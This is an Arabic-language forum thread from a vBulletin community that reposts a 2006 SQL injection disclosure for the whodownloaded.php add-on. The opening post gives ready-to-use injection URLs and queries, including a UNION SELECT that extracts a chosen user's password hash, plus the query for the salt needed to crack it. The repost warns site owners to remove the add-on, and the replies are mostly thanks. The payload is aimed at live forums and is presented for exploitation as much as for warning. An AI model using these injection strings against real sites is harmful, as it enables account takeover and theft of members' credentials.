[ثغره] في هاك من قام بتحميل المرفق whodownloaded.php

05 - 04 - 2006, 08:22 vBulletin_vb3 غير متواجد حاليآ بالمنتدى

vBulletin_vb3

:: عضـــو::

[ثغره] في هاك من قام بتحميل المرفق whodownloaded.php

السلام عليكم

اقتباس

المشاركة الأصلية أضيفت بواسطة : Qptan


	بسم الله الرحمن الرحيم السلام عليكم نوع الثغره : SQL Injection نسبه الخطوره : خطره جدا ً >> في نظري >> وللي يعرف يستغلها بشكل سليم الملف المصاب : whodownloaded.php معلومات عن الثغره : الثغره هي موجوده في أحد الهاكات اللي تركب على نسخ vBulletin 3.x.x وعمل الهاك هو : من قام بتحميل المرفق . بحيث انه يطلع لك اسماء الناس اللي حملو المرفق .... الثغره : رمز PHP: `http://www.xxx.com/vb/whodownloaded.php?attachmentid=\|\|` بيطلع لك خطأ من القاعده قمت بكتابه إستعلام بسيط يستعلم عن الباسورد : رمز PHP: `SELECT password FROM user WHERE userid=1` بحيث تستبدل القيمه 1 برقم أي عضو أو رمز PHP: `SELECT password FROM user WHERE username=admin` بحيث تستبدل admin بإسم العضو اللي تبي تجيب الهاش حقه ولو تبي تفكه إستعلم عن السالت بهذا الشكل : رمز PHP: `SELECT salt FROM user WHERE userid=1` وهكذا ... قريبا بشرح لكم الإستعلام كيف كتبناه بشكل مفصل راح يكون النتيجه النهائيه : رمز PHP: `http://www.xxxx.com/vb/whodownloaded.php?attachmentid=-1%20UNION%20SELECT%20password%20FROM%20user%20WHERE%20userid=1` أهدي الموضوع هذا إلى سعودي و دكتور جرح و إلى بلاك زيرو و MaN~HaCkErZ المكتشف : Linux_Drox ///////////////////////////////////// // lezr.com/vb \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ جميع الحقوق محفوظه لموقع ومنتديات الليزر تحياتي .

شباب اللي مركب الهاك ينتفه لحد ماينزل الهاك من الموقع ومرقع

- مشاركة هذا الرد في
- Digg
- Del.icio.us
- Technorati
- Twitter

توقيع vBulletin_vb3

vBulletin_vB3

HotMail.com
قريبا ً إفتتاح vBull3tin.Org

رقم المشاركة : [ 2 ]

05 - 04 - 2006, 09:24 الـصـاعـقـة غير متواجد حاليآ بالمنتدى

الـصـاعـقـة

:: عضو نشيط ::

بيانات موقعي

اسم الموقع: شبكة الصاعقة العربية

اصدار المنتدى: 3.8.7

شكرا على التنبيه

والحمد لله مش مركبة

الـصـاعـقـة

أضفني كصديق

- مشاركة هذا الرد في
- Digg
- Del.icio.us
- Technorati
- Twitter

توقيع الـصـاعـقـة

My FaceBook
https://fb.com/ibraheem.salem

I have four full days from 8 AM to 4 PM in a week, and May be take Extra workshop

رقم المشاركة : [ 3 ]

05 - 04 - 2006, 14:22 x_5 غير متواجد حاليآ بالمنتدى

x_5

:: TRAIDNT ::
:: رفيق الدرب ::

بيانات موقعي

اسم الموقع: vbulletin.ae

اصدار المنتدى: :: مجتمع ترايدنت ::

مشكور اخوي

x_5

أضفني كصديق

- مشاركة هذا الرد في
- Digg
- Del.icio.us
- Technorati
- Twitter

توقيع x_5

‏‏كُنْ فيْ الْحياهْ كَعابر سبيلٍ وَاتْرُكْ وراءكَ كُل أثرِ جَميل
فَما نَحنُ فِيْ الدُنيا إِلَاضُيُوْف وَما عَلى الضيوْفِ إِلَاالرحيل
واحــد مـــ x_5ـــن النـاس ©

رقم المشاركة : [ 4 ]

05 - 04 - 2006, 14:35 الصريح جداً غير متواجد حاليآ بالمنتدى

الصريح جداً

:: عضو نشيط ::

بيانات موقعي

اصدار المنتدى: لا أملك منتدى

أخي العزيز الثغرة خطرة مع بعض التطوير
والثغرة عندي من 5 شهور
وهي قوية جدا لذلك لم أنشرها كي لا يعرف الهكر الملف المصاب فيفحصوه

الصريح جداً

أضفني كصديق

- مشاركة هذا الرد في
- Digg
- Del.icio.us
- Technorati
- Twitter

توقيع الصريح جداً

Ethical Hacking Community
V99x.Com // EHCommunity.Com
- Computer Engineer

رقم المشاركة : [ 5 ]

05 - 04 - 2006, 15:21 الكنترول غير متواجد حاليآ بالمنتدى

الكنترول

.:: عضو متألق ::.

بيانات موقعي

اصدار المنتدى: :: مجتمع ترايدنت ::

الله يحفظك يا الغالي و يرحم والديك

الكنترول

أضفني كصديق

- مشاركة هذا الرد في
- Digg
- Del.icio.us
- Technorati
- Twitter

توقيع الكنترول

صلاح المصراتي لتصميم المواقع وبرمجتها :-
للإستشارات البرمجية والفنية والحماية إتصل بهاتفي الشخصي
من داخل ليبيا

: 0928519021
من خارج ليبيا

: 00218928519021

لـمراسلتي بريدياً فقط
واعذروني لا أستخدم الماسنجر للسوالف والكلام الزايد ...!

لاتسهر الليل إذ كنت تخاف الظلام ووحشته

رقم المشاركة : [ 6 ]

05 - 04 - 2006, 17:27 sky4web غير متواجد حاليآ بالمنتدى

sky4web :: عضو نشيط ::	ثغره خطيره في هاك من قام بتحميل المرفق .. sky4web أضفني كصديق مشاركة هذا الرد في Digg Del.icio.us Technorati Twitter
sky4web :: عضو نشيط ::	توقيع sky4web سبحان الله وبحمده سبحان الله العظيم

رقم المشاركة : [ 7 ]

06 - 04 - 2006, 15:08 AraUnIoN.NeT غير متواجد حاليآ بالمنتدى

AraUnIoN.NeT Banned	يعطيك العافية اخوي AraUnIoN.NeT أضفني كصديق مشاركة هذا الرد في Digg Del.icio.us Technorati Twitter
AraUnIoN.NeT Banned

العلامات المرجعية

« الموضوع السابق | الموضوع التالي »

أدوات الموضوع
عرض صفحة طباعة الموضوع ارسال الصفحة الى صديق
طرق العرض
العرض العادي الانتقال الى العرض المتطور الانتقال الى العرض الشجري

ضوابط المشاركة

لا يمكنك اضافة مواضيع جديدة

لا يمكنك اضافة مشاركات

لا يمكنك اضافة مرفقات

لا يمكنك تعديل مشاركاتك

رموز المنتدى : متاحة

الوجوه التعبيرية : متاحة

رمز [IMG] : متاحة

رمز HTML : معطّلة

المراجع : معطّلة

التنبيهات : متاحة

Refbacks are متاحة

ضوابط المنتدى

الساعة معتمدة بتوقيت جرينتش +3 . الساعة الآن : 01:56.
المعهد غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء
فعلى كل شخص تحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه
التعليقات المنشورة لا تعبر عن رأي معهد ترايدنت ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر)

[ثغره] في هاك من قام بتحميل المرفق whodownloaded.php

السلام عليكم اقتباس &nbsp; المشاركة الأصلية أضيفت بواسطة : Qptan بسم الله الرحمن الرحيم السلام عليكم نوع الثغره : SQL Injection نسبه الخطوره : خطره

السلام عليكم اقتباس المشاركة الأصلية أضيفت بواسطة : Qptan بسم الله الرحمن الرحيم السلام عليكم نوع الثغره : SQL Injection نسبه الخطوره : خطره